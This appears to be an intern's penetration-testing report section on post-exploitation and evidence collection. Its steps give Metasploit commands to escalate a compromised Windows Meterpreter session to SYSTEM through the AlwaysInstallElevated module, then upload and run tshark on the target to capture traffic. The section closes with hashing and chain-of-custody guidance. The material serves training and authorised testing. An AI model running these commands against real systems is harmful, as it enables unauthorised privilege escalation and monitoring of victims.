4. Post-Exploitation and Evidence Collection

Objective

Post-exploitation is the phase that begins after an attacker gains initial access to a target system. The purpose of this phase is to **validate the real-world impact of the compromise**, understand how far an attacker can progress within the environment, and determine what sensitive assets are exposed. From a penetration testing perspective, post-exploitation activities are performed in a **controlled and ethical manner** to demonstrate risk while minimizing disruption.

Privilege Escalation

Privilege escalation refers to techniques used to gain higher-level permissions than initially obtained. Attackers commonly attempt to move from a low-privileged user to administrator or SYSTEM-level access by abusing misconfigurations, vulnerable services, or insecure system policies.

Successful privilege escalation significantly increases attack impact, as elevated privileges allow attackers to:

- Bypass security controls
- Access protected system files and credentials
- Install persistent backdoors
- Pivot to other systems within the network

Demonstrating privilege escalation helps organizations understand the consequences of insecure system configurations.

Post-Exploitation Objectives

Once elevated access is achieved, post-exploitation focuses on:

- Confirming full system compromise
- Identifying sensitive data exposure
- Assessing persistence opportunities
- Evaluating lateral movement potential

These activities provide insight into how attackers maintain access and expand control over the environment.

Evidence Collection Principles

Evidence collection during penetration testing must follow **forensic best practices** to ensure data integrity and credibility. The goal is to capture proof of exploitation without altering or damaging the target system.

Key principles include:

- Collecting only necessary artifacts
- Preserving original evidence state
- Recording acquisition details
- Avoiding unnecessary system changes

This approach ensures findings are defensible and reproducible.

Network Traffic Evidence

Network traffic captures provide visibility into attacker activity and data flow during exploitation. Captured traffic may demonstrate:

- Command and control communication
- Unauthorized HTTP requests
- Data leakage or exfiltration attempts

Such evidence helps correlate vulnerabilities with real attack behavior.

File Integrity and Hashing

Cryptographic hashing is used to verify that collected evidence has not been altered. Hash values serve as a digital fingerprint, ensuring the authenticity of captured artifacts throughout the reporting and review process.

Steps -

1. Privilege Escalation

This process uses a Metasploit module to exploit a common Windows misconfiguration where applications can be installed with elevated privileges.

Prerequisites

- A compromised Windows machine with a Meterpreter session active.
- Metasploit Framework installed on your attacking machine.

1. Background the Current Session

If you are in an active Meterpreter session, background it to return to the msfconsole prompt.

```
background
```

2. Search for the Exploit Module

Find the module for the **Always Install Elevated** exploit.

```
search always_install_elevated
```

3. Use the Module

Select the appropriate exploit module.

```
use exploit/windows/local/always_install_elevated
```

4. Set the Session ID

Set the SESSION variable to the ID of your current Meterpreter session.
You can find this ID with the sessions command.

```
set SESSION <Your_Session_ID>
```

5. Run the Exploit

Execute the module. If successful, it will create a new Meterpreter session with SYSTEM-level privileges.

```
run
```

6. Interact with the New Session

Verify the new, higher-privilege session.

```
sessions -i <New_Session_ID>
```

To confirm the privilege level, run:

```
getuid
```

The output should be:

```
NT AUTHORITY\SYSTEM
```

2. Evidence Collection

A. Logging the Meterpreter Session

To maintain a record of all actions performed in the privileged session.

1. Start Logging

Within your new privileged Meterpreter session, use the meterpreter_script to start logging to a file on your attacking machine.

```
run script -r /path/to/your/meterpreter_session.log
```

Alternatively, from the msfconsole before interacting with the session, you can use spool:

```
spool /path/to/your/console_session.log
```

B. Capturing Network Traffic with Wireshark

This requires running a packet sniffer on the target machine. Tshark, the command-line version of Wireshark, is ideal for this.

1. Upload Tshark to Target

If not already present, upload a portable tshark executable to the target machine.

```
upload /path/to/local/tshark.exe C:\\Windows\\Temp\\tshark.exe
```

2. Execute Tshark Remotely

Run tshark on the target to capture traffic and save it to a .pcap file.
The -a duration:300 flag captures for 5 minutes (300 seconds); adjust as needed.

```
execute -f C:\\Windows\\Temp\\tshark.exe -a "-i <INTERFACE_INDEX> -a duration:300 -w C:\\Windows\\Temp\\capture.pcap"
```

To find the <INTERFACE_INDEX>, run the following on the target:

```
netsh interface ipv4 show interfaces
```

3. Download the Capture

Once the capture is complete, download the `.pcap` file to your analysis machine.

```
download C:\\Windows\\Temp\\capture.pcap /path/to/your/evidence/
```

C. Hashing Collected Evidence

This step ensures the integrity of your collected files.

1. Generate SHA-256 Hash

Use a standard tool like `sha256sum` on Linux/macOS or `Get-FileHash` on Windows.

On Linux/macOS:

```
sha256sum /path/to/your/evidence/capture.pcap
```

2. Document the Hash

Record the output (the SHA256 hash value) in your evidence log, as shown in the brief you provided.

3. Maintaining Chain of Custody

1. **Create a Log File**
   Maintain a central log file (e.g., `chain_of_custody.log`).
2. **Document Everything**
   For every piece of evidence, log the following:
   - **Item Description:** e.g., *Network Traffic Capture*
   - **Collected By:** Your name or role (e.g., *VAPT Analyst*)
   - **Date/Time:** The exact date and time of collection (e.g., *2025-08-25*)
   - **Source:** Where the evidence came from (e.g., *Target Machine IP 192.168.1.10*)
   - **Hash Value:** The SHA-256 hash you calculated

    - **Storage Location:** Where the original file is stored securely (e.g., *Secure Evidence Server, Case #123, File: capture.pcap*)

3. **Preserve Originals**
   Work on copies of the evidence files. Store the originals in an immutable or write-once format if possible.

Security Impact

Post-exploitation activities demonstrate the **true severity of vulnerabilities**. When attackers can escalate privileges and collect sensitive evidence, the risk extends beyond initial access to full system compromise, data exposure, and long-term persistence. This phase emphasizes why early-stage vulnerabilities must be addressed promptly.

Document Information:
Report Generated: December 19, 2025
Author: Soumendu Manna - CyArt VAPT Intern